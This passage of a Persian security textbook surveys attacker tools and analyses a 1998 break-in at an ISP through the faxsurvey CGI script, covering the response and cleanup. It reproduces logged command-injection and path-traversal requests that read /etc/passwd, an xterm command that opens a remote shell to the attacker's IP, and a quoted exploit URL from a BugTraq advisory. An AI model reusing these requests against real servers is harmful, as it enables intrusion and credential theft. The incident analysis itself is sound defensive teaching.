گوشه‌ای از ابزارهایی که معمولاً توسط مهاجمین مورد استفاده قرار می‌گیرند عبارتند از:

nc (a.k.a netcat)

netcat که در ابتدا توسط *هوبیت*[41] نوشته شد، چاقوی ارتش سوئیس برای شبکه‌های مبتنی بر IP است. بنابراین netcat یک ابزار با ارزش راهبری و همچنین مفید برای مهاجمین می‌باشد. می‌توانید از netcat برای ارسال دادهٔ دلخواه به پورتهای دلخواه TCP/IP رایانه‌های راه دور برای راه‌اندازی سرویس‌دهنده‌های محلی TCP/IP، و برای اجرای *پویشهای مقدماتی پورت*[42] استفاده کنید.

39 *Internet Relay Chat Server*
40 *Backbone Router*
41 *Hobbit*
42 *Basic Portscan*

Trinoo (a.k.a. Trinoo)

Trinoo یک سرویس‌دهندهٔ تهاجم است. این برنامه منتظر دریافت یک پیام از یک سیستم راه دور می‌ماند، و با دریافت پیام یک حملهٔ تخریب سرویس را علیه یک شخص ثالث شروع می‌کند. نسخه‌های Trinoo برای اغلب سیستم‌عاملهای Unix از جمله Solaris و Red Hat Linux موجود است. وجود Trinoo معمولاً بصورت مخفیانه می‌باشد. یک تحلیل مشروح از Trinoo در آدرس زیر قابل دسترسی است:

http://staff.washington.edu/dittrich/misc/trinoo.analysis

Back Orifice و Netbus

این برنامه‌های مبتنی بر windows اسبهای تراوایی هستند که مهاجمان را قادر می‌کنند بر ضربه‌های صفحه کلید نظارت کنند، به فایلها دسترسی داشته باشند، برنامه‌ها را upload و download کنند، و نرم‌افزارها را روی سیستمهای تحت فرمان به اجرا درآورند.

Botها

Botها (مخفف robotها) برنامه‌های کوچکی هستند که معمولاً بوسیله یک مهاجم روی تعدادی از رایانه‌های پخش‌شده در شبکه اینترنت قرار می‌گیرند. Botها یکی از ابزارهای مقدماتی برای مهار و هدایت حملات توزیع‌شدهٔ تخریب سرویس روی کانالهای تقویت گفتگوی اینترنتی می‌باشند. Botها ممکن است بوسیلهٔ ویروسها و یا اسبهای تراوا توزیع شوند. این برنامه‌ها ممکن است تا روزها، هفته‌ها، و یا ماهها غیرفعال باشند و پس از آن بکار بیافتند. از botها می‌توان در کارهای خودکار نیز بهره برد.

Rootkitها

rootkit یک برنامه یا مجموعه‌ای از برنامه‌ها است که همزمان به مهاجم دسترسیهای کاربر سطح بالا را در یک رایانه می‌دهد، دربهای مخفی را در رایانه کار می‌گذارد، و هر ردپایی از حضور مهاجم را پاک می‌کند. در ابتدا rootkitها برای سیستمهای Unix طراحی شده بودند (و نام حساب کاربری root نیز از همینجا آمده)، ولی برای سیستمهای windows هم تولید شده‌اند. یک rootkit نوعی ممکن است برای بدست آوردن دسترسیهای کاربر سطح بالا تلاشهای زیادی انجام دهد. همینکه دسترسی کاربر سطح بالا بدست آمد، rootkit می‌تواند برنامهٔ ورود به سیستم را بگونه‌ای تغییر دهد که یک درب مخفی به آن اضافه شود. آنگاه هستهٔ اصلی را بگونه‌ای تغییر می‌دهد که هر تلاش برای خواندن برنامهٔ ورود به سیستم، بجای برنامهٔ اصلی مقدار تغییریافته را بازگرداند؛ فرامین ممکن است بگونه‌ای تغییر داده شوند که اتصالات شبکه از رایانهٔ مهاجم به نمایش در نیایند؛ و در نهایت rootkit ممکن است پنج دقیقه انتهایی فایلهای ثبت را از حافظهٔ رایانه حذف کند.

کرمها[۴۳]

کرمها که از آسیب‌پذیریهای سرویس‌دهنده‌های شبکه یا اجزای شبکه‌ای سیستم‌عاملها سوء استفاده می‌کنند تبدیل به روش رایجی برای خدشه دار کردن آنی تعداد زیادی از رایانه‌ها شده‌اند.

مطالعه موردی: Faxsurvey

در هفتم اکتبر ۱۹۹۸، یک کارمند در Vineyard.NET متوجه شد که کاربر http به سرویس‌دهندهٔ اصلی وب شرکت وارد شده است:

```
Script started on Wed Oct 7 20:54:21 1998
Bash-2.02# W
8:57PM up 27 days, 14:19, 5 users, load averages: 0.28, 0.33, 0.35
USER   TTY FROM      LOGIN@ IDLE WHAT
```

43 *Worms*

http p0 KRLDB110-06.spli Tue02AM 1days /bin/sh
simsong p1 asy12.vineyard.n 8:42PM 15 -tcsh (tcsh)
ericx p2 mac-ewb.vineyard 8:46PM 0 script
ericx p3 mac-ewb.vineyard 8:46PM 11 top
ericx p4 mac-ewb.vineyard 8:53PM 1 sleep 5
bash-2.02#

این رایانه با سیستم‌عامل BSDI نگارش ۳,۱ با همهٔ *وصله‌ها*[۴۴] و اصلاحاتی که توسط فروشنده ارائه شده‌بود کار می‌کرد. سرویس‌دهندهٔ وب یک نسخه از سرویس‌دهندهٔ Apache موسوم به "Strong-hold" بود. از رایانه برای شروع عملیات خودکار نقل و انتقال الکترونیکی وجوه کارهای خانگی در حسابهای مشتریان استفاده می‌شد. برای کمک به نقل و انتقالات این وجوه، رایانه اطلاعات حساب بانکی و کارت اعتباری را نگهداری می‌کرد. (خوشبختانه این اطلاعات روی رایانه در قالب رمزگذاری‌شده نگهداری می‌شد.)

در همهٔ موارد مشابه، ورود یک کاربر بعنوان http به سیستم می‌تواند نتیجه دو چیز باشد. اول، ممکن است عضو پرسنل ISP باشد که از حساب http برای رفع اشکال استفاده می‌کرده، و در غیراینصورت ممکن است مهاجمی باشد که راهی برای نفوذ به حساب http پیدا کرده اما موفق نشده دسترسی بیشتری بدست آورد. چون کاربر http از یک رایانه که نامش با KRLD110-06.spli شروع می‌شد وارد سیستم شده بود، کارمند این مؤسسه فهمید که این مسئله یک دسترسی غیر مجاز بوده است.

وقتی نفوذ کشف شد، یکی از پرسنل بلافاصله برنامه یک قطعه‌برنامهٔ مخصوص Unix را اجرا کرد تا اقدامات نفوذگر را ثبت کند. بنظر رسید که شخص مزاحم بعد از آن تا مدت بیش از یک روز به شبکه متصل نشد. نفوذ اولیه در روز سه‌شنبه ساعت ۲ بامداد رخ داده بود. گام بعدی این بود که همهٔ *پردازه‌هایی*[۴۵] که در آنزمان در رایانه درحال اجرا بودند فهرست شوند. دو پردازه غیرعادی بودند – دو نسخه از *پوسته*[۴۶] /bin/sh که توسط http به اجرا در آمده بودند. هر دوی این پوسته‌ها از روز گذشته شروع به کار کرده بودند؛ یکی در ساعت ۲ بامداد و دیگری ۴ بامداد.

bash-2.02# ps auxww
USER PID %CPU %MEM VSZ RSS TT STATED TIME COMMAND
root 11766 3.0 0.0 0 0 ?? Z 23Sep98 0:00.00 (admin-server)
root 3763 1.0 0.0 0 0 ?? Z 2:03PM 0:00.00 (junkbuster)
mail 18120 1.3 0.3 816 724 ?? S 8:56PM 0:00.46 smap
root 17573 1.0 0.0 0 0 ?? Z 11:03AM 0:00.00(admin-server)
root 16 0.0 0.0 68 64 ?? Is 10Sep98 0:00.00 asyncd 2
root 18 0.0 0.0 68 64 ?? Is 10Sep98 0:00.02 asyncd 2
root 28 0.0 8.0 748 20680 ?? Ss 10Sep98 0:16.32 mfs -o rw -s 40960 /dev/sdob/tmp (mount_mfs)
root 53 0.0 0.1 268 296 ?? Ss 10Sep98 0:38.23 gettyd –s
root 18670 0.0 0.5 560 1276 ?? S Tue02AM 0:04.77 (xterm)
http 18671 0.0 0.1 244 276 p0 Is Tue02AM 0:02.23 /bin/sh
http 26225 0.0 0.1 236 276 p0 I+ Tue04AM 0:00.7 /bin/sh
…

بنظر می‌رسید شخص مزاحم موفق به نفوذ شده و سپس بنا به دلایلی کار را رها کرده است. ISP برای رویارویی با این تهدید ضوابط زیر را ابلاغ کرد:

۱. نفوذگر را از آنچه درحال اتفاق افتادن است آگاه نکنید.
۲. آدرس IP مبدأ شخص مزاحم را پیدا کنید.
۳. از فرمان kill در Unix برای توقف پردازه‌های مزاحم استفاده کنید. این فرمان علیرغم باقی گذاشتن یک نسخه از پردازه‌ها در حافظه، از اجرای آنها جلوگیری می‌کند.

44 *Patches*
45 *Process*
46 *Shell*

۴. با استفاده از فرمان gcore در Unix یک نسخهٔ ثانویه از پردازه‌های شخص مزاحم تهیه کنید.
۵. یک ضابطه در مسیریاب ISP برای مسدود کردن بسته‌های ارسالی از مبدأ ISP نفوذگر تعریف نمایید.
۶. پردازه‌های شخص مزاحم را با فرمان kill -9 کاملاً از بین ببرید.
۷. مشخص کنید نفوذگر چگونه وارد سیستم شده و حفرهٔ مورد سوء استفاده قرار گرفته را اصلاح کنید.
۸. مجریان قضایی را مطلع سازید.

برای ردیابی نفوذگر، ISP سعی کرد با استفاده از فرمان netstat این کار را انجام دهد. با انجام اینکار اطلاعات جدیدی بدست آمد. نفوذگر با telnet یا SSH وارد سیستم نشده بود، بلکه یک اتصال X11 از سرویس‌دهندهٔ وب (Apache.Vineyard.NET) به یک سرویس‌دهندهٔ X که در رایانهٔ مهاجم اجرا می‌شد وجود داشت.

```
bash-2.02# netstat -a
Active Internet connections (including servers)
Proto Recv-Q Send-Q Local Address Foreign Address (state)
tcp    0  0 VINEYARD.NET.http nhv-ct4-09.ix.ne.1137 SYN_RCVD
tcp    0  0 VINEYARD.NET.http nhv-ct4-09.ix.ne.1136 SYN_RCVD
tcp    0  0 VINEYARD.NET.http nhv-ct4-09.ix.ne.1135 SYN_RCVD
tcp    0  0 VINEYARD.NET.http DSY27.VINEYARD.N.1079 SYN_RCVD
tcp    0  2456 VINEYARD.NET.http nhv-ct4-09.ix.ne.1134 ESTABLISHED
tcp    0  2268 VINEYARD.NET.http DSY27.VINEYARD.N.1078 ESTABLISHED
tcp    0  2522 VINEYARD.NET.http 209.174.140.26.1205 ESTABLISHED
tcp    0  8192 VINEYARD.NET.http host-209-214-118.1785 ESTABLISHED
tcp    0  4916 VINEYARD.NET.http host-209-214-118.1784 ESTABLISHED
tcp    0  0 VINEYARD.NET.http host-209-214-118.1783 ESTABLISHED
tcp    0  0 VINEYARD.NET.http ASY14.VINEYARD.N.1163 FIN_WAIT_2
tcp    0  0 LOCALHOST.VINEYA.sendm LOCALHOST.VINEYA.1135 ESTABLISHED
tcp    0  0 LOCALHOST.VINEYA.1135 LOCALHOST.VINEYA.sendm ESTABLISHED
tcp    0  0 VINEYARD.NET.smtp 208.135.218.34.1479 ESTABLISHED
tcp    0  3157 VINEYARD.NET.pop ASY5.VINEYARD.NE.1027 ESTABLISHED
tcp    0  0 APACHE.VINEYARD..ssh MAC-EWB.VINEYARD.2050 ESTABLISHED
tcp    0  0 VINEYARD.NET.http host-209-214-118.1782 FIN_WAIT_2
tcp    0  0 VINEYARD.NET.http host-209-214-118.1781 FIN_WAIT_2
tcp    0  0 VINEYARD.NET.http host-209-214-118.1775 FIN_WAIT_2
tcp    0  0 VINEYARD.NET.http 56k-2234.hey.net.1099 FIN_WAIT_2
tcp    0  0 VINEYARD.NET.https ESY8.VINEYARD.NE.1557 FIN_WAIT_2
tcp    0  0 LOCALHOST.VINEYA.sendm LOCALHOST.VINEYA.1058 ESTABLISHED
tcp    0  0 LOCALHOST.VINEYA.1058 LOCALHOST.VINEYA.sendm ESTABLISHED
tcp    0  0 APACHE.VINEYARD..smtp m28.boston.juno..54519 ESTABLISHED
tcp    0  0 APACHE.VINEYARD..ssh MAC-EWB.VINEYARD.nfs ESTABLISHED
tcp    0  328 APACHE.VINEYARD..ssh MAC-EWB.VINEYARD.2048 ESTABLISHED
tcp    0  0 VINEYARD.NET.http ASY14.VINEYARD.N.1162 FIN_WAIT_2
tcp    0  0 VINEYARD.NET.http ASY14.VINEYARD.N.1160 FIN_WAIT_2
tcp    0  0 NEXT.VINEYARD.NE.ssh ASY12.VINEYARD.N.1047 ESTABLISHED
tcp    0  7300 VINEYARD.NET.pop DSY27.VINEYARD.N.1061 ESTABLISHED
tcp    0  0 NEXT.VINEYARD.NE.imap2 ASY12.VINEYARD.N.1041 ESTABLISHED
tcp    0  0 VINEYARD.NET.3290 VINEYARD.NET.imap2 CLOSE_WAIT
tcp    0  0 VINEYARD.NET.ssh simsong.ne.media.1017 ESTABLISHED
tcp    0  0 APACHE.VINEYARD..3098 KRLDB110-06.spli.X11 ESTABLISHED
tcp    8760 0 VINEYARD.NET.1022 BACKUP.VINEYARD..ssh ESTABLISHED
tcp    0  0 LOCALHOST.VINEYA.4778 *.* LISTEN
tcp    0  0 LOCALHOST.VINEYA.domai *.* LISTEN
tcp    0  0 NET10.VINEYARD.N.domai *.* LISTEN
tcp    0  0 SMTP4.VINEYARD.N.domai *.* LISTEN
```

ISP به این نتیجه رسید که مهاجم از یک آسیب‌پذیری در یک قطعه‌برنامه CGI برای تخم‌ریزی یک xterm به دستگاه راه دور خود استفاده کرده است. برای آزمون این فرضیه، یک جستجوی سریع در میان ثبتهای سرویس‌دهندهٔ وب ISP انجام شد:

% **grep -I krldb110-06 /vni/apache/log/access_log**

1. krldb110-06.splitrock.net - - [06/Oct/1998:02:53:48 -0400] “GET /cgi-bin/ phf?Qname=me%0als%20-lFa HTTP/1.0” 404 - “-” “Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)” “/htdocs/biz/captiva”
2. krldb110-06.splitrock.net - - [06/Oct/1998:02:53:50 -0400] “GET /cgi-bin/ faxsurvey?ls%20-lFa HTTP/1.0” 200 5469 “-” “Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)” “/htdocs/biz/captiva”
3. krldb110-06.splitrock.net - - [06/Oct/1998:02:53:52 -0400] “GET /cgi-bin/ viewsource?../../../../../../../../ etc/passwd HTTP/1.0” 404 - “-” “Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)” “/htdocs/biz/captiva”
4. krldb110-06.splitrock.net - - [06/Oct/1998:02:53:53 -0400] “GET /cgi-bin/ htmlscript?../../../../../../../../etc/passwd HTTP/1.0” 404 - “-” “Mozilla/ 4.0 (compatible; MSIE 4.01;Windows 98)” “/htdocs/biz/captiva”
5. krldb110-06.splitrock.net - - [06/Oct/1998:02:53:54 -0400] “GET /cgi-bin/ campas?%0als%20-lFa HTTP/1.0” 404 - “-” “Mozilla/4.0 (compatible; MSIE 4. 01; Windows 98)” “/htdocs/biz/captiva”
6. krldb110-06.splitrock.net - - [06/Oct/1998:02:53:55 -0400] “GET /cgi-bin/ handler/useless_shit;ls%20-lFa|?data=Download HTTP/1.0” 404 - “-” “Mozilla/ 4.0 (compatible; MSIE 4.01; Windows 98)” “/htdocs/biz/captiva”
7. krldb110-06.splitrock.net - - [06/Oct/1998:02:53:56 -0400] “GET /cgi-bin/ php.cgi?/etc/passwd HTTP/1.0” 404 - “-” “Mozilla/4.0 (compatible; MSIE 4. 01; Windows 98)” “/htdocs/biz/captiva”
8. krldb110-06.splitrock.net - - [06/Oct/1998:02:54:30 -0400] “GET /cgi-bin/ faxsurvey?ls%20-lFa HTTP/1.1” 200 5516 “-” “Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)” “/htdocs/biz/captiva”
9. krldb110-06.splitrock.net - - [06/Oct/1998:02:54:44 -0400] “GET /cgi-bin/ faxsurvey?uname%20-a HTTP/1.1” 200 461 “-” “Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)” “/htdocs/biz/captiva”
10. krldb110-06.splitrock.net - - [06/Oct/1998:02:55:03 -0400] “GET /cgi-bin/ faxsurvey?id HTTP/1.1” 200 381 “-” “Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)” “/htdocs/biz/captiva”
11. krldb110-06.splitrock.net - - [06/Oct/1998:02:55:39 -0400] “GET /cgi-bin/ faxsurvey?cat%20/etc/passwd HTTP/1.1” 200 79467 “-” “Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)” “/htdocs/biz/captiva”
12. krldb110-06.splitrock.net - - [06/Oct/1998:02:55:44 -0400] “GET /cgi-bin/ faxsurvey?ls%20-lFa%20/usr/ HTTP/1.1” 200 1701 “-” “Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)” “/htdocs/biz/captiva”
13. krldb110-06.splitrock.net - - [06/Oct/1998:04:31:55 -0400] “GET /cgi-bin/ faxsurvey?id HTTP/1.1” 200 381 “-” “Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)” “/htdocs/web.vineyard.net”
14. krldb110-06.splitrock.net - - [06/Oct/1998:04:32:01 -0400] “GET /cgi-bin/ faxsurvey?pwd HTTP/1.1” 200 305 “-” “Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)” “/htdocs/web.vineyard.net”
15. krldb110-06.splitrock.net - - [06/Oct/1998:04:32:08 -0400] “GET /cgi-bin/ faxsurvey?/bin/pwd HTTP/1.1”

200 305 “-” “Mozilla/4.0 (compatible; MSIE 4. 01; Windows 98)” “/htdocs/web.vineyard.net”
16. krldb110-06.splitrock.net - - [06/Oct/1998:04:32:33 -0400] “GET /cgi-bin/ faxsurvey?ls%20-lFa HTTP/1.1”
200 5516 “-” “Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)” “/htdocs/web.vineyard.net”
17. krldb110-06.splitrock.net - - [06/Oct/1998:04:32:55 -0400] “GET /cgi-bin/ faxsurvey?ls%20-lFa%20../conf/ HTTP/1.1” 200 305 “-” “Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)” “/htdocs/web.vineyard.net”

توجه کنید که سطرهای ۱ تا ۷ با چند ثانیه اختلاف با یکدیگر رخ داده‌اند. بنظر می‌رسد مهاجم از یک ابزار اتوماتیک که آسیب‌پذیریهای CGI را پیدا می‌کند استفاده کرده است. در سطرهای ۸ تا ۱۷، مهاجم از یک آسیب‌پذیری در قطعه‌برنامهٔ مربوط به faxsurvey سوء استفاده می‌نماید. اینکار به احتمال قریب به یقین با یک ابزار متفاوت انجام شده. یک دلیل آن این است که نسخهٔ پروتکل HTTP که سرویس‌گیرنده آنرا پشتیبانی می‌کرده از "HTTP/1.0" به "HTTP/1.1 " تغییر یافته است.

فایل ثبت سرویس‌دهندهٔ وب آشکار کرد که اسم کامل میزبان مهاجم krldb110-06.splitrock.net بوده است. با استفاده از فرمان host، این آدرس می‌تواند به یک آدرس IP واقعی ترجمه شود:

```
apache: {43} % host krldb110-06.splitrock.net
krldb110-06.splitrock.net has address 209.156.113.121
apache: {44} %
```

با بررسی این فایل ثبت، بنظر می‌رسد که قطعه‌برنامه /cgi-bin/faxsurvey نقصی دارد که به مهاجم اجازه می‌دهد فرامین دلخواه را اجرا کند (در غیر اینصورت به چه دلیل دیگر ممکن بود مهاجم با فراخوانی این قطعه‌برنامه به ارسال URLها با آرگومان‌های متفاوت بپردازد؟). اگر این مسئله صحت می‌داشت، آنگاه فرامین زیر باید توسط مهاجم به اجرا در می‌آمده بودند:

```
ls -lFa
ls -lFa
uname -a
id
cat /etc/passwd
ls -lFa /usr/
id
pwd
/bin/pwd
ls -lFa
ls -lFa../conf/
```

از فایلهای ثبت روشن نیست که چگونه مهاجم توانسته از اجرای این فرامین به اجرای فرمان xterm برسد، اما به خوبی روشن است که فرمان xterm اجرا شده، چون سطر HTTP در خروجی فرمان w، پردازهٔ xterm درحال اجرا، و سطر X11 در فرمان netstat شواهدی بر این مسئله هستند.

در این مرحله، ISP برای یافتن نام میزبان مهاجم در سایر فایلهای ثبت جستجو کرد. یک نتیجهٔ مشکوک در *فایل ثبت پیامها*[۴۷] پیدا شد – ظاهراً مهاجم تلاش کرده که از یک نقص در POP یا qpopper سوء استفاده کند:

```
apache: {15} % grep -i krldb110-06 *
messages:Oct 6 03:38:29 apache popper.bsdos[22312]: @KRLDB110-06. splitrock.net: -ERR POP
timeout
```

برای محافظت از سابقهٔ پردازه‌های شخص مهاجم، آنها متوقف شدند، تصویری از حافظهٔ پردازشی ذخیره شد، و آنگاه پردازه‌ها از حافظه بیرون انداخته شدند.

47 *Messages Log File*

به دنبال اینکار یک ضابطه به مسیریابهای ISP اضافه شد تا دسترسی از آدرسهای IP مهاجم را مسدود کند. مجوزهای قطعه‌برنامهٔ faxsurvey برای جلوگیری از هرگونه دسترسی تغییر یافتند تا همه چیز برای شروع یک تجسس آماده باشد. چند روز بعد هم تکه‌برنامه از روی سرویس‌دهندهٔ وب حذف شد.

ISP قربانی با شرکت خدماتی SplitRock تماس گرفت؛ همان ISP که مسئولیت آدرس IP مهاجم را عهده‌دار بود. مشخص شد که SplitRock چند modem pool که برای ISP دیگر تهیه شده بودند را براساس یک موافقتنامهٔ اجاره تهیه کرده است. از SplitRock خواسته شد که فایلهای ثبت خود را طوری نگهداری کند که بتوان در تحقیقات آتی از آنها استفاده کرد.

با استفاده از فرمان strings این امکان بوجود آمد که اطلاعات بسیار بیشتری دربارهٔ مهاجم بدست آید. یک گروه از رشته‌ها مربوط به *سابقهٔ پوسته*[۴۸] می‌شدند، که فهرستی از فرامین تایپ‌شده توسط شخص مهاجم بودند. بنظر می‌رسید مهاجم یک rootkit را download کرده و همچنین تلاش داشته که یک *حملهٔ سرریزی Buffer*[۴۹] علیه سرویس‌دهندهٔ IMAP سیستم انجام دهد:

```
-lFa        gcc -o s s.c
st2.c       ftp 209.156.113.121
cron.c      gcc -o s st2.c
cxterm.c    ./s console
x2.c        t.s
qpush.c     .121
cat t.c     qpush.c
cat.c       ppp.c
cat s.c     t2.c
gc c        cron.c
ls -lFa     cxterm.c
./s -v c2   tcsh
./s p0      x2.c
ls -lFa /   README
cat.s       README.debian
ls -lFa     qpush
cat /w      qpush.c
ls -lFa /   qpush.c.old
cat.s       Gf: not found
_=.s        /tmp
$ : not found       mfs:28
gcc -o s steal.c    /bin/sh
ls -lFa *.c
/bin/sh
/bin/sh
/etc/inetd.conf
qpush.c
/usr/bin/gcc
n/gcc
./cc
Expr
Done
/bin/sh
inetd.conf
t) | telnet 127.1 143
cd /etc
cat.s
```

48 *Shell History*
49 *Buffer Overflow Attack*

```
which pwd
ls –lFa
expr $L + 1
ls –lFa
./cc –10
./cc
```

نوع دوم رشته‌ها که در تصاویر حافظه پیدا شدند متناظر متغییرهای پوسته بودند. بسیاری از آنها متغییرهائی بودند که می‌توانستند از طریق تخم‌ریزی یک قطعه‌برنامهٔ CGI برای یک پردازه تنظیم شوند – که مؤید این بود که اجرای پوسته نتیجهٔ یک تهـاجم CGI بوده است. این قسمت (بخش زیر) تأیید می‌کرد آن قطعه‌برنامهٔ CGI که مـسئولیت نفـوذ متوجـه آن بـود، قطعـه‌برنامـهٔ مربـوط بـه faxsurvey بود:

```
GATEWAY_INTERFACE=CGI/1.1
REMOTE_HOST=krldb110-06.splitrock.net
MACHTYPE=i386-pc-bsdi3.1
HOSTNAME=apache.vineyard.net
L=100
SHLVL=1
REMOTE_ADDR=209.156.113.121
QUERY_STRING=/usr/X11R6/bin/xterm%20-display%20209.156.113.121:0.0%20- rv%20-e%20/bin/sh
DOCUMENT_ROOT=/htdocs/biz/captiva
REMOTE_PORT=4801
HTTP_USER_AGENT=Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)
HTTP_ACCEPT=application/vnd.ms-excel, application/msword, application/vnd. ms-powerpoint,
*/*
SCRIPT_FILENAME=/vni/cgi-bin/faxsurvey
HTTP_HOST=www.captivacruises.com
LOGNAME=http
WINDOWID=8388621
_=/bins
REQUEST_URI=/cgi-bin/faxsurvey?/usr/X11R6/bin/xterm%20-display%20209.156.
113.121:0.0%20-rv%20-e%20/bin/sh
SERVER_SOFTWARE=Stronghold/2.2 Apache/1.2.5 C2NetUS/2002
TERM=xterm
HTTP_CONNECTION=Keep-Alive
PATH=/usr/local/bin:/bin:/usr/bin:/usr/sbin
HTTP_ACCEPT_LANGUAGE=en-us
DISPLAY=209.156.113.121:0.0
SERVER_PROTOCOL=HTTP/1.1
HTTP_ACCEPT_ENCODING=gzip, deflate
SHELL=/bin/tcsh
REQUEST_METHOD=GET
OSTYPE=bsdi3.1
SERVER_ADMIN=mvol@vineyard.net
SERVER_ROOT=/usr/local/apache
TERMCAP=xterm|vi|xterm-ic|xterm-vi|xterm with insert character instead of insert mode:
:al@:dl@:im=:ei=:mi@:ic=\E[@: :AL=\E[%dL:DC=\E[%dP:DL=\E[
%dM:DO=\E[%dB:IC=\E[%d@:UP=\E[%dA: :al=\E[L:am: :bs:cd=\E[J:ce=\
E[K:cl=\E[H\E[2J:cm=\E[%i%d;%dH:co#80: :cs=\E[%i%d;%dr:ct=\E[3k:   :dc
SERVER_PORT=80
SCRIPT_NAME=/cgi-bin/faxsurvey
HOSTTYPE=i386
```

پس از نفوذ، ISP قربانی با دفتر تجسس دیوان فدرال در بوستون تماس گرفت. ISP مطلع شد که دفتر بوستون پیش از آنکه تحقیقاتی را شروع کند لازم است بیش از سقف هشت هزار دلار خسارت دیده باشد. چون میزان خسارت به این سقف حداقلی نرسیده بود، هیچ تجسسی شروع نشد. علیرغم اینکه دلیل وجود چنین حداقل‌هایی قابل درک است، اما به دو دلیل عمده بهتر است اینگونه نباشد:

- بسیاری از حمله‌ها توسط مهاجمان نسبتاً جوان هدایت می‌شود که ممکن است با دریافت یک اخطاریه یا حداکثر یک حکم تعلیق، چنین فعالیتهایی را متوقف کنند. فقدان تجسس رسمی و پیگیری صرفاً این مهاجمان را تشویق می‌کند که به جرمهای بزرگتر و بزرگتر بپردازند تا اینکه مسئولیت خسارتهای جدی بدوششان بیفتد.
- این امکان وجود دارد که مهاجم بسیار خبره باشد و در فعالیتهای غیرقانونی دیگر که معمولاً با عدم توجه سایرین مواجه می‌شود دست داشته باشد. موارد زیادی وجود دارد که بازرسیهای انجام‌شده از جرائم کوچک، دوایر اجرای قوانین را به سمت جرائم بزرگ اقتصادی هدایت کرده است. برای مثال یک اختلاف حسابرسی ۷۵ سنتی باعث شد که *کلیف استول*[۵۰] یک نفوذگر رایانه‌ای را ردیابی کند که سرانجام مشخص شد به دستور اتحاد جماهیر شوروی به رایانه‌های تجاری و نظامی ایالات متحده نفوذ کرده است. (داستانی که جزئیات آن در نمایشنامه پلیسی "*نفوذگر کلاسیک*"[۵۱] استول؛ "*تخم مرغ کاکو*"[۵۲] آمده است.)

وقتی مسئله روشن شد، معلوم شد آسیب‌پذیری در قطعه‌برنامهٔ مربوط به faxsurvey حدود سه ماه قبل از انجام حمله در گروه پستی BugTraq گزارش شده بود. یا کسی از کارکنان ISP پیامهای گروه پستی BugTraq را نخوانده بود، یا اینکه کسی خبر نداشت که قطعه‌برنامهٔ مربوط به faxsurvey روی سیستم نصب شده است:

Date: Tue, 4 Aug 1998 07:41:24 -0700
Reply-To: dod@muenster.net
From: Tom <dod@MUENSTER.NET>
Subject: remote exploit in faxsurvey cgi-script

Hi!

There exist a bug in the 'faxsurvey' CGI-Script, which allows an attacker to execute any command s/he wants with the permissions of the HTTP-Server.

All the attacker has to do is type http://joepc.linux.elsewhere.org/cgi-bin/faxsurvey?/bin/cat%20/etc/passwd in his favorite Web-Browser to get a copy of your Password-File.

All S.u.S.E. 5.1 and 5.2 Linux Dist. (and I think also older ones) with the HylaFAX package installed are vulnerable to this attack.

AFAIK the problem exists in the call of 'eval'.

I notified the S.u.S.E. team (suse.de) about that problem. Burchard Steinbild <bs@suse.de> told me, that they have not enough time to fix that bug for their 5.3 Dist., so they decided to just remove the script from the file list.

پس از تهاجم، ISP تمیزکاری‌های زیر را انجام داد:

50 *Cliff Stoll*
51 *Classic Hacker*
52 *The Cuckoo's Egg*

- یک نسخهٔ پشتیبان فوری از همه دیسکها تهیه شد. این پشتیبان بعنوان شاهدی بر کشف این تخریب که نیاز به پیگیری داشت نگهداری شد.
- سیستم بدنبال فایلهای با مجوزهای جدید پویش شد. هیچ فایلی پیدا نشد.
- دسترسیها در شاخه /usr/include و کامپایلر C طوری تغییر یافت که تنها کارمندان بتوانند به این فایلها دسترسی داشته باشند و برنامه‌های جدید را کامپایل کنند.
- برنامه‌های کلیدی با نسخه منتشرشدهٔ اولیه روی دیسکهای فشرده مقایسه شدند تا تغییرات احتمالی مشخص شود. در آنها تغییری ایجاد نشده بود.
- همهٔ فایلهای ثبت بطور دستی برای فعالیتهای اضافه مشکوک مورد بررسی قرار گرفتند. موردی پیدا نشد.
- پس از یک هفته ضابطهٔ مسیریاب که دسترسی به SplitRock را مسدود می‌کرد لغو شد.

فصل سوم
امنیت فیزیکی

کلیات

امنیت فیزیکی" همهٔ کارهایی است که پیش از تایپ فرامین روی صفحه‌کلید انجام می‌شود؛ مثل ساختن سیستم اعلام خطر، قفل کردن یک کلید روی منبع برق رایانه، اتاقک قفل‌شده و مجهز به دوربین مداربستهٔ رایانه، و مقسم‌های برق و *منبع برق وقفه‌ناپذیر* (UPS)[۵۳]. امنیت فیزیکی علیرغم اینکه مسئله بسیار مهمی است غالباً نادیده گرفته می‌شود. این فصل بسیاری از تهدیدهای امنیت فیزیکی را مورد بحث قرار می‌دهد، از جمله خطرات محیطی، خرابکاری و سرقت؛ و پیشنهاداتی برای نحوهٔ برخورد با آنها ارائه می‌کند.

عناصر امنیت فیزیکی

اول مردم

نیاز به تأکید نیست که در شرایط اضطراری و سوانح، زندگی و ایمنی پرسنل همواره باید بر داده‌ها یا تجهیزات مد نظر مقدم باشد. اگرچه ممکن است در این اصل استثناهای بسیار محدودی هم وجود داشته باشد (مثلاً در شرایط حساس نظامی)، اما هیچگاه نباید آنچه را که حقیقتاً غیرقابل جایگزینی است از نظر دور داشت.

برنامه‌ریزی برای تهدیدات فراموش‌شده

